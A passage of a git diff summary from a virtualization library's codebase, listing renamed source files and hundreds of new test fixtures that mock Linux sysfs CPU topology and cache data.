9 +- tests/virnumamock.c | 191 ++++++++++ 427 files changed, 1736 insertions(+), 1047 deletions(-) delete mode 100644 src/nodeinfo.c rename src/{fdstream.c => util/virfdstream.c} (99%) rename src/{fdstream.h => util/virfdstream.h} (97%) create mode 100644 src/util/virsysfs.c create mode 100644 src/util/virsysfs.h rename src/{nodeinfo.h => util/virsysfspriv.h} (62%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu0/topology/core_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu0/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu0/topology/core_siblings_list copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu0/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu0/topology/thread_siblings copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu0/topology/thread_siblings_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu1/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu1/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu1/topology/core_siblings_list copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu1/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu1/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu1/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu10/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu11/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu12/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu13/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu14/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu15/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu2/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu2/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu2/topology/core_siblings_list copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu2/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu2/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu2/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu3/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu3/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu3/topology/core_siblings_list copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-basic/cpu/cpu3/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu3/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu3/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu4/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu5/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu6/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu7/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu8/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/core_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/core_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/physical_package_id create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/cpu9/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/online create mode 100644 tests/vircaps2xmldata/linux-basic/cpu/present create mode 120000 tests/vircaps2xmldata/linux-basic/node/node0/cpu0 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node0/cpu1 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node0/cpu2 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node0/cpu3 create mode 100644 tests/vircaps2xmldata/linux-basic/node/node0/cpulist create mode 120000 tests/vircaps2xmldata/linux-basic/node/node1/cpu4 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node1/cpu5 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node1/cpu6 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node1/cpu7 create mode 100644 tests/vircaps2xmldata/linux-basic/node/node1/cpulist create mode 120000 tests/vircaps2xmldata/linux-basic/node/node2/cpu10 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node2/cpu11 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node2/cpu8 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node2/cpu9 create mode 100644 tests/vircaps2xmldata/linux-basic/node/node2/cpulist create mode 120000 tests/vircaps2xmldata/linux-basic/node/node3/cpu12 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node3/cpu13 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node3/cpu14 create mode 120000 tests/vircaps2xmldata/linux-basic/node/node3/cpu15 create mode 100644 tests/vircaps2xmldata/linux-basic/node/node3/cpulist create mode 100644 tests/vircaps2xmldata/linux-basic/node/online create mode 100644 tests/vircaps2xmldata/linux-basic/node/possible create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/cache/index3/type copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu0/topology/core_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/topology/core_siblings rename tests/{virhostcpudata/linux-rhelsa-3.19.0-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu0/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu0/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu0/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu1/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu1/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu1/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu2/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu2/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu2/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu3/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu3/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu3/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/cache/index3/type copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu4/topology/core_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu4/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu4/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu4/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu5/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu5/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu5/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/cache/index3/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/topology/core_id create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/topology/core_siblings copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu6/topology/core_siblings_list} (100%) copy tests/{virhostcpudata/linux-raspberrypi/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu6/topology/physical_package_id} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/topology/thread_siblings create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu6/topology/thread_siblings_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index0/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index1/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/level create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/shared_cpu_list create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/size create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index2/type create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/level copy tests/{virhostcpudata/linux-f21-mustang/cpu/possible => vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/shared_cpu_list} (100%) create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/shared_cpu_map create mode 100644 tests/vircaps2xmldata/linux-caches/cpu/cpu7/cache/index3/size create mode 100644 